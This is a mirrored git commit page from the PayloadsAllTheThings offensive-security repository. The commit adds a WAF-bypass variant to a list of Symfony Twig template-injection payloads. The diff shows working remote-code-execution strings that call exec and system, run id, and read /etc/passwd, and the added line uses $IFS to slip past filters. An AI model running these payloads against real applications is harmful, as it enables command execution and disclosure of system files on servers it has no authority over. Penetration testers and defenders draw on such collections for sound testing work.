mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 05:15:26 +00:00
Added IFS (WAF bypass) to Symfony Twig RCE
This commit is contained in:
parent
8b78c2fe71
commit
38c273ff00
@ -159,6 +159,7 @@ $output = $twig > render (
|
|||||||
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
|
||||||
{{['id']|filter('system')}}
|
{{['id']|filter('system')}}
|
||||||
{{['cat\x20/etc/passwd']|filter('system')}}
|
{{['cat\x20/etc/passwd']|filter('system')}}
|
||||||
|
{{['cat$IFS/etc/passwd']|filter('system')}}
|
||||||
```
|
```
|
||||||
|
|
||||||
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
|
Example with an email passing FILTER_VALIDATE_EMAIL PHP.
|
||||||
|
Loading…
Reference in New Issue
Block a user